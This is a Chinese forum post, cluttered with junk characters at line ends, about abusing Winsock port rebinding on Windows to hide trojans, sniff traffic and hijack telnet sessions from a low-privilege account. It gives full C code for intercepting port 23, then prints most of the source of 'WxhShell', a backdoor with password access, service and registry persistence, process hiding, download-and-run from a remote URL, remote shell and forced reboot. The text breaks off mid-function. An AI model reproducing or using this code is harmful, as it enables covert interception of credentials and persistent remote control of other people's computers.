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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2@lGY_O!m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !H@HgJ -  
=+UtA f<n  
  saddr.sin_family = AF_INET; `"}).{N]C  
uY(8KW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @87Y/_l  
',xUU{5?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .>#O'Z&q9  
UGd\`*Cj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4`)r1D!U  
c-5AI{%bl6  
  这意味着什么?意味着可以进行如下的攻击: \b%c_e  
:aBxyS*}G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,}]v7DD  
1x=x,lcL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7V8k =  
]{# =WTp]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *l 4[`7|  
}:{9!RMO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j{r@>g;3  
@MVul_@6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N&p0Emg  
(&Jo. <  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hi=</ Wy;  
j5Da53c#^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4_iA<}>|  
n42\ty9  
  #include _tX=xAO9  
  #include Y2XxfZ j  
  #include ~-6_-Y|  
  #include    Y%kOq`uT=n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vpf.0!zh  
  int main() f,E7eL@  
  { PuREqa\_[  
  WORD wVersionRequested; FG[rH]   
  DWORD ret; \eNB L[  
  WSADATA wsaData; M;Pry 3J  
  BOOL val; lq"X_M$  
  SOCKADDR_IN saddr; - z+,j(@  
  SOCKADDR_IN scaddr; +B1&bOb  
  int err; d4BzFGsW  
  SOCKET s; %Z<{CV  
  SOCKET sc; P{UV3ZA%  
  int caddsize; ZIa,pON  
  HANDLE mt; MTCfs~}m  
  DWORD tid;   tB"9%4](  
  wVersionRequested = MAKEWORD( 2, 2 ); z`t~N  
  err = WSAStartup( wVersionRequested, &wsaData ); NJ.oME@=  
  if ( err != 0 ) { ,8Po _[  
  printf("error!WSAStartup failed!\n"); .l_Nf9=  
  return -1; p*,T~(A6  
  } ssx#|InY  
  saddr.sin_family = AF_INET; 3: WEODV2  
   wpYk`L r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eK l; T  
3m!tb)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5v)bs\x6  
  saddr.sin_port = htons(23); o ?vGI=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ms,MXJtH  
  { dt:$:,"   
  printf("error!socket failed!\n"); nOL.%  
  return -1; r9&m^,U  
  } yD7}  
  val = TRUE; x1#>"z7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7~QI4'e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rr %x;-  
  { )Ln".Bu,  
  printf("error!setsockopt failed!\n"); ciN\SA ZY  
  return -1; 4>0q0}J=5  
  } 0=3)`v{S@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X>=`l)ZR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M yHv>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pg4pfi^__V  
f\dfKNm6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v.Q#<@B^:  
  { v;e8W9M  
  ret=GetLastError(); clV^Xg8D  
  printf("error!bind failed!\n"); g?v(>#i  
  return -1; |mQ Fi\  
  } $U]T8;5Q  
  listen(s,2); O1\Hx8^  
  while(1) [z2UfHpt~  
  { E3O^Tg?j  
  caddsize = sizeof(scaddr); }|=/v( D  
  //接受连接请求 ;\2Z?Kq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4\&Y;upy+  
  if(sc!=INVALID_SOCKET) o= ($'(1  
  { hA 5')te<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  A\Ib  
  if(mt==NULL) ft(o-f7,  
  { +m%%Bz>  
  printf("Thread Creat Failed!\n"); *"8Ls0!  
  break; B+`4UfB]Z}  
  } zZCRej  
  } xt5/`C  
  CloseHandle(mt); `T[@-   
  } R\3a Sx L  
  closesocket(s); K#wA ;  
  WSACleanup(); }psRgF  
  return 0; e9KD mX_  
  }   YP_L~zZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) X%5eZ"1{x  
  { '^_u5Y]  
  SOCKET ss = (SOCKET)lpParam; 7:u+cv  
  SOCKET sc; hOAZvrfQ4  
  unsigned char buf[4096]; ALTOi?  
  SOCKADDR_IN saddr; +_i{4Iz~p  
  long num; +n;nvf}(  
  DWORD val; @h{|tP%"  
  DWORD ret; W[O]Aal{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^-~JkW'z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ? x #K:a?  
  saddr.sin_family = AF_INET; ~< bpdI0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &su'znLV  
  saddr.sin_port = htons(23); mfQ#n!{ZH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vNGE]+QX  
  { edp I?  
  printf("error!socket failed!\n"); hHE~/U  
  return -1; B]"`}jn  
  } ja_8n["z  
  val = 100; ]WDmx$"&e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^b+>r  
  { RtMI[  
  ret = GetLastError(); \QK@wgu  
  return -1; S"Cz. bv  
  } Kt_oo[ey{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +r8bGS]ki  
  { &*<27-x  
  ret = GetLastError(); _ Ncbo#G  
  return -1; sh$-}1 ;  
  } %)JEYH7Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TBBnsj6e  
  { SU~a()"  
  printf("error!socket connect failed!\n"); INi$-Y+  
  closesocket(sc); $~G,T g  
  closesocket(ss); (E0   
  return -1; j HHWq>=d  
  } ]u_j6y!  
  while(1) Zok{ndO@|f  
  { /YvXyi>^"%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z ;.-UXat  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X=$Jp.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _AX 9 Mu]  
  num = recv(ss,buf,4096,0); 'V:Q :  
  if(num>0) /88s~=  
  send(sc,buf,num,0); 6^"QABc  
  else if(num==0) w== BSH[  
  break; 4!Js="  
  num = recv(sc,buf,4096,0); .*zS2 z  
  if(num>0) sxREk99lL  
  send(ss,buf,num,0); BY6#dlDi  
  else if(num==0) o{s2T)2  
  break; ,5n!a.T  
  } 5.~Je6K U  
  closesocket(ss); '8X>,un  
  closesocket(sc); wX"hUu  
  return 0 ; =:WZV8@%  
  } !!1?2ine  
dE7x  SI  
9*)&hhBs,  
========================================================== dEoIVy_9R  
c|Ivet>3  
下边附上一个代码,,WXhSHELL X8|H5Y:  
pr0X7 #_E5  
========================================================== ]nTeTW  
<,]:jgX  
#include "stdafx.h" e%\^V\L  
Pp8S\%z~h  
#include <stdio.h> Js,!G  
#include <string.h> ;t&q|}x"  
#include <windows.h> l76=6Vtb  
#include <winsock2.h> n$/|r  
#include <winsvc.h> F(G..XJQ  
#include <urlmon.h> 4 mX(.6  
_gT65G~z  
#pragma comment (lib, "Ws2_32.lib") W>@ti9\t  
#pragma comment (lib, "urlmon.lib") jdxHWkQ   
TrjyU  
#define MAX_USER   100 // 最大客户端连接数 Lzh8-d=HQ  
#define BUF_SOCK   200 // sock buffer xE1?)  
#define KEY_BUFF   255 // 输入 buffer bwsKdh  
uk):z$ x  
#define REBOOT     0   // 重启 H bKE;N  
#define SHUTDOWN   1   // 关机 d6luksO*9  
<|Td0|x _q  
#define DEF_PORT   5000 // 监听端口 cI=6zMB  
[ RyVR  
#define REG_LEN     16   // 注册表键长度 ;.>*O oe&  
#define SVC_LEN     80   // NT服务名长度 !vSI"$xd  
!m@cTB7i   
// 从dll定义API fzSkl`K}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /7AHd ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BPY7O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nQF& ^1n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qd} n4KF\  
@Kpm&vd(  
// wxhshell配置信息 NdXHpq;  
struct WSCFG { c+:ZmrP/  
  int ws_port;         // 监听端口 .hT>a<  
  char ws_passstr[REG_LEN]; // 口令 h[ .  
  int ws_autoins;       // 安装标记, 1=yes 0=no \((iR>^|  
  char ws_regname[REG_LEN]; // 注册表键名 dfDjOZSL  
  char ws_svcname[REG_LEN]; // 服务名 I5Vn#_q+b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `0d 0T~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Oyl~j #h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VE |:k:};  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^h[6{F~J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  0,Ds1y^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b fxE}>  
5nG\J g7  
}; /JD}b[J$  
wLV,E,gM  
// default Wxhshell configuration r&u1-%%9[  
struct WSCFG wscfg={DEF_PORT, F @PPhzZ  
    "xuhuanlingzhe", iQG!-.aX  
    1, QK-aH1r  
    "Wxhshell", W5|{A])N  
    "Wxhshell", %BI8m|6  
            "WxhShell Service", ;d?BVe?  
    "Wrsky Windows CmdShell Service", Xb _ V\b0  
    "Please Input Your Password: ", S:xXD^n#H  
  1, >F$9&s&  
  "http://www.wrsky.com/wxhshell.exe", QQJGqM3a2  
  "Wxhshell.exe" s9?mX@>h  
    }; X`8<;l  
A(y6]E!  
// 消息定义模块 1-kuK<KR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V3,C5KKk&z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oC&}lp)q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #VQZ"7nI@  
char *msg_ws_ext="\n\rExit."; A*h8 o9M  
char *msg_ws_end="\n\rQuit."; >.?yz   
char *msg_ws_boot="\n\rReboot..."; aBA oSn  
char *msg_ws_poff="\n\rShutdown..."; %'2P4(  
char *msg_ws_down="\n\rSave to "; 8F sQLeOE  
t[|oSF#i  
char *msg_ws_err="\n\rErr!"; NLsF6BX/-  
char *msg_ws_ok="\n\rOK!"; UF9={fN1  
M\1CDU+*Ns  
char ExeFile[MAX_PATH]; -laH^<jm5  
int nUser = 0; HhbBt'fH  
HANDLE handles[MAX_USER]; $(1t~u<17  
int OsIsNt; {v"f){   
:5kDc" =Z|  
SERVICE_STATUS       serviceStatus; !?,, ZD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vl (``5{  
1g;2e##)  
// 函数声明 Kw fd S(  
int Install(void); d6i}xnmC  
int Uninstall(void); EjPR+m  
int DownloadFile(char *sURL, SOCKET wsh);  ][ $UN  
int Boot(int flag); Y>$5j}K  
void HideProc(void); e~vO   
int GetOsVer(void); +)c<s3OCE  
int Wxhshell(SOCKET wsl); q;K]NP-_p  
void TalkWithClient(void *cs); @&*TGU  
int CmdShell(SOCKET sock); R @\fqNq  
int StartFromService(void); _S_,rTf&  
int StartWxhshell(LPSTR lpCmdLine); F8%^Ed~@  
4M C]s~n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HNZ$CaJh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iM .yen_vp  
VwR\"8r3  
// 数据结构和表定义 $WYt`U;*lj  
SERVICE_TABLE_ENTRY DispatchTable[] = ekx(i QA  
{ MWwqon|  
{wscfg.ws_svcname, NTServiceMain}, X}#vt?mu  
{NULL, NULL} G4 7^xR  
}; U]Q 5};FK  
tB;PGk_6  
// 自我安装 ;MfqI/B{  
int Install(void) |$ PA  
{ < F5VJ  
  char svExeFile[MAX_PATH]; f1NHW|_j  
  HKEY key; wBt7S!>G  
  strcpy(svExeFile,ExeFile); rfDGS%!O%  
e N`+r  
// 如果是win9x系统,修改注册表设为自启动 g$Tsht(rHD  
if(!OsIsNt) { .-$3I|}X=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cqU6 Y*n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [n9l[dN  
  RegCloseKey(key); M^ * ~?9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TQ\#Z~CbK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %DuPM6 6r  
  RegCloseKey(key); L,zx\cj?z  
  return 0; dV$[O`F* b  
    } a"s2N%{  
  } B7Ket8<J  
} 5bb#{?2i  
else { oyVT  
*twGIX  
// 如果是NT以上系统,安装为系统服务 <MEm+8e/s6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P$'PB*5d|  
if (schSCManager!=0) gwB,*.z  
{ j+!u=E  
  SC_HANDLE schService = CreateService '@t,G,FJ  
  ( 1F.._5_"]  
  schSCManager, 05F/&+V  
  wscfg.ws_svcname, c:Czu  
  wscfg.ws_svcdisp,  W2` 3 p  
  SERVICE_ALL_ACCESS, B1X&O d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]MCH]/  
  SERVICE_AUTO_START, U<Oc&S{]*  
  SERVICE_ERROR_NORMAL, Vg62HZ |  
  svExeFile, J_F\cM   
  NULL, E+y_te^+b  
  NULL, p;4FZ$  
  NULL, j*>]HNo&  
  NULL, "OwM' n8  
  NULL :U\* 4l  
  ); <xBL/e %  
  if (schService!=0) +;+G+Tn  
  { D*UxPm"pw  
  CloseServiceHandle(schService); 2Ys=/mh  
  CloseServiceHandle(schSCManager); G;gsDn1t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @zGF9O<3,@  
  strcat(svExeFile,wscfg.ws_svcname); M8lw; (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f['I4 /o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l&\y]ZV={  
  RegCloseKey(key); WG,Il/  
  return 0; .XpuD,^;@  
    } Xg.Lo2s  
  } x`?>j$  
  CloseServiceHandle(schSCManager); sssw(F  
} t<Sa ;[+  
} z*HM_u  
)4fQ~)  
return 1; (tO4UI5!  
} dr#%~I  
T=NLBJ  
// 自我卸载 g)f& mQ)  
int Uninstall(void) 5[g&0  
{ \<I&utn  
  HKEY key; /y1+aTiJ  
L%[>z'Zp  
if(!OsIsNt) { ="G2I\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [<r.M<3  
  RegDeleteValue(key,wscfg.ws_regname); b4:{PD~Mh  
  RegCloseKey(key); K1YxF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jNbVp{%/S}  
  RegDeleteValue(key,wscfg.ws_regname); j hRr!  
  RegCloseKey(key); _G)A$6weU  
  return 0; "T[BSj?E  
  } b1^wK"#  
} NJJ=ch  
} %,$xmoj9O]  
else { Sv=e|!3f[k  
@GXKqi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4SUzR\  
if (schSCManager!=0) T5`ML'Dej  
{ UZsvYy?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }r18Y6  
  if (schService!=0) IqlCl>_j  
  { |FFz $'8)  
  if(DeleteService(schService)!=0) { BN(=LQ2["  
  CloseServiceHandle(schService); 1z|bQ,5  
  CloseServiceHandle(schSCManager); 7Z9'Y?[m  
  return 0; yC ?p,Ci,  
  }  G>?kskm  
  CloseServiceHandle(schService); 9PV]bt,  
  } C-ORI}o  
  CloseServiceHandle(schSCManager); dU_;2d$  
} FD!8o  
} 6yYjZ<  
%qsl<_&  
return 1; ] 0L=+=w  
} ZweAY.]e  
IjOBY  
// 从指定url下载文件  &I-T  
int DownloadFile(char *sURL, SOCKET wsh) kE6/d,  
{ RU#}!Kq  
  HRESULT hr; &b>&XMIK  
char seps[]= "/"; iN[6}V6Sm  
char *token; K:9AP{+  
char *file; IkmEctAU  
char myURL[MAX_PATH]; k|>yFc  
char myFILE[MAX_PATH]; q'trd};xR  
L!Tvz(_7f6  
strcpy(myURL,sURL); 8wO4;  
  token=strtok(myURL,seps); vr"Pr4z4i  
  while(token!=NULL) k:7Gb7\  
  { a:GM|X  
    file=token; Qm7];,  
  token=strtok(NULL,seps); o6w8Y/VPu  
  } zrSYLG  
L[:A Ue  
GetCurrentDirectory(MAX_PATH,myFILE); 3S#p4{3   
strcat(myFILE, "\\"); *BrGh  
strcat(myFILE, file); !\VEUF,K?  
  send(wsh,myFILE,strlen(myFILE),0); s% rmfIp"  
send(wsh,"...",3,0); MrUjqv6a[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =!DX,S7  
  if(hr==S_OK) [So1`IA6  
return 0; n>,GmCo  
else m<#^c?u  
return 1; atd;)o0*0  
,j{tGj_  
} EF$ASNh"  
UsA fZg8  
// 系统电源模块 E,ilJl\  
int Boot(int flag) 5|jY  
{ a0k;way  
  HANDLE hToken; ]iW:YNvXA  
  TOKEN_PRIVILEGES tkp; QoUdTIIL  
^B%ki  
  if(OsIsNt) { @J>JZ7m]\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SHSfe{n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ) x+edYw  
    tkp.PrivilegeCount = 1; n(V{ [  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )RTWt`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &ID! lEd  
if(flag==REBOOT) { 78*8-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8kcMgCO  
  return 0; yaG:}=.3  
} ,?jc0L.'r]  
else { wjH1Ombt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fUCjC*#1  
  return 0; S8kzAT  
} kf<c[su  
  } CvZ\Z472.j  
  else { N3lz-vP-  
if(flag==REBOOT) { o(DG 3qk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DC/Czkv9  
  return 0; {U>N*&_`  
} qe(gKKA%q  
else { 7@g0>1Fz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RhB)AUAj  
  return 0; i?b9zn  
} b{aB^a:f=L  
} 04}8x[t  
)\D{5j  
return 1; 2[(~_VJ  
} ?[.8A/:5  
Y+),c14#  
// win9x进程隐藏模块 C+M]"{Y+  
void HideProc(void) zx$1.IM"4  
{ du ~V=%9  
=Yl ea,S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dR_6j}  
  if ( hKernel != NULL ) (_@]-   
  { cK\ u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |,=^P` #%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~Gh7i>n*  
    FreeLibrary(hKernel); 1anh@T.  
  } 479X5Cl  
M?My+ oT  
return; 5oCg&aT  
} ~4=*kJ#7  
RR:%"4M  
// 获取操作系统版本 mj9sX^$ dE  
int GetOsVer(void) Ua:@,};  
{ }.'rhR+  
  OSVERSIONINFO winfo; 2ry@<88  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4'`P+p"A  
  GetVersionEx(&winfo); i\^4EQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >W >Ei(f  
  return 1; ORF:~5[YS`  
  else + a nsN~3  
  return 0; =+mb@#="m  
} uJH[C>  
\X\f ~CB  
// 客户端句柄模块 | ?vm.zp  
int Wxhshell(SOCKET wsl) eC%Skw  
{ Cy/VH"G=  
  SOCKET wsh; _A!Fp0}`  
  struct sockaddr_in client; "9c=kqkX  
  DWORD myID; b+:J?MR;}  
.QKyB>s  
  while(nUser<MAX_USER) >P@V D"U  
{ T^`; wD  
  int nSize=sizeof(client); li\=mH,Wr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JrY*K|YdW  
  if(wsh==INVALID_SOCKET) return 1; 9)W &yi  
F xm:m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ToPjB vD  
if(handles[nUser]==0) "OwVCym?  
  closesocket(wsh); a,S;JF)v  
else <>{m+=gA  
  nUser++; MYjc6@=cR  
  } ojlyW})$%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *-5N0K<kQ  
Q0K$ZWM`7  
  return 0; I-g/ )2  
} $F# 5/gDVQ  
7mdd}L^h Z  
// 关闭 socket K.mxF,H  
void CloseIt(SOCKET wsh) yj_> G  
{ 6*>Lud  
closesocket(wsh); @j}%{Km]Y  
nUser--; m#8 PX$_  
ExitThread(0); ]7K2S{/o{  
} 7`A]X,:  
R Qo a  
// 客户端请求句柄 < ]1,L%  
void TalkWithClient(void *cs) wz69Yw7  
{ OrM1eP"I  
54z.@BJhE  
  SOCKET wsh=(SOCKET)cs; J@$~q}iG  
  char pwd[SVC_LEN]; !*"fWahv  
  char cmd[KEY_BUFF]; aif;h! ?y  
char chr[1]; /A-WI x  
int i,j; : (X3?%  
"EMW'>&m  
  while (nUser < MAX_USER) { T{3nIF  
r*l3Hrho~K  
if(wscfg.ws_passstr) { ^c.D&y%5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z dgS@g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]nB|8k=J  
  //ZeroMemory(pwd,KEY_BUFF); +Z|3[#W  
      i=0; ; iia?f1  
  while(i<SVC_LEN) { y{hy7w'd  
=gQ9>An  
  // 设置超时 &LAXNk2  
  fd_set FdRead; =8?Kn@nMN  
  struct timeval TimeOut; zX&SnT1~  
  FD_ZERO(&FdRead); ?BfE*I$\h  
  FD_SET(wsh,&FdRead); (V jU,'h  
  TimeOut.tv_sec=8; Is7BJ f  
  TimeOut.tv_usec=0; w90YlWS#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J>}J~[ap\J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \/Mx|7<  
,oA<xP-*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); esnq/  
  pwd=chr[0]; 6ABK)m-y  
  if(chr[0]==0xd || chr[0]==0xa) { _i+@HXR &  
  pwd=0; 8;DDCop 8L  
  break; MHK|\Z&e7  
  } y')OmR2h  
  i++; ,u2Qkw  
    } P Y^#hC5:  
^HJ?k:u  
  // 如果是非法用户,关闭 socket WrGnLE kiV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mq Ai}z%  
} vW=L{8zu  
2Ckx.m&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H TOr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &2`p#riAS  
(\{k-2t*^  
while(1) { /qX?ca1_4^  
'V]&X.=zC  
  ZeroMemory(cmd,KEY_BUFF); "GK9Y  
?F AI@4  
      // 自动支持客户端 telnet标准   Y/FPkH4  
  j=0; h0rPMd(K  
  while(j<KEY_BUFF) { 8 XB[CbO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^'V :T Y  
  cmd[j]=chr[0]; rKrHd  
  if(chr[0]==0xa || chr[0]==0xd) { f 5v&4  
  cmd[j]=0; k9;^|Cm k  
  break; c;$ 4}U4  
  } LWF,w7v[L  
  j++; r\;fyeH  
    } :D)(3U5  
uX6yhaOp|  
  // 下载文件 LTTMa-]Yy  
  if(strstr(cmd,"http://")) { fgdR:@]-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wu)+n\mt'  
  if(DownloadFile(cmd,wsh)) EsMX #1>/m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W#p7M[  
  else -[=eVS.2%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CBEf;I g  
  } pUXoSnIq:  
  else { !5o j~H  
e|\xF V=4  
    switch(cmd[0]) { n:%4 SZn  
  9D3{[  
  // 帮助 /kbU<  
  case '?': { S<"Fp1#"l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f82%nT  
    break; 7 $e6H|j@  
  } CF '&Yo  
  // 安装 C!VhVOy>d  
  case 'i': { Y_JQPup  
    if(Install()) $^ws#}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_^SU8i57  
    else 1[!v{F%]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zw>L0gC  
    break; )XN_|zCk  
    } 4E39]vb  
  // 卸载 :R Iz6Tz  
  case 'r': { QrYF Lh  
    if(Uninstall()) <q'l7 S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {%R^8  
    else *q=T1JY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJeG7xtJKl  
    break; y|5L%,i  
    } I=y7$+7%  
  // 显示 wxhshell 所在路径 ><<>4(eF p  
  case 'p': { @NLcO}  
    char svExeFile[MAX_PATH]; gM&IV{k3  
    strcpy(svExeFile,"\n\r"); K~TwyB-h  
      strcat(svExeFile,ExeFile); e&}W#  
        send(wsh,svExeFile,strlen(svExeFile),0); IfK~~XYG  
    break; =-h^j  
    } Y[{:?i~9,  
  // 重启 Ie.*x'b?y  
  case 'b': { AW]\n;f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D.K""*ula  
    if(Boot(REBOOT)) vI{aF- #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (pxH<k=Ah  
    else { .kT]^rv ;  
    closesocket(wsh); yLnQ9BXB&  
    ExitThread(0); t6DSZ^Zq  
    } +>Wo:kp3  
    break; 5=pE*ETJ  
    } Q^(CqQo!<  
  // 关机 P.Z:`P)  
  case 'd': { $w0TEO!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $DY#04Je\=  
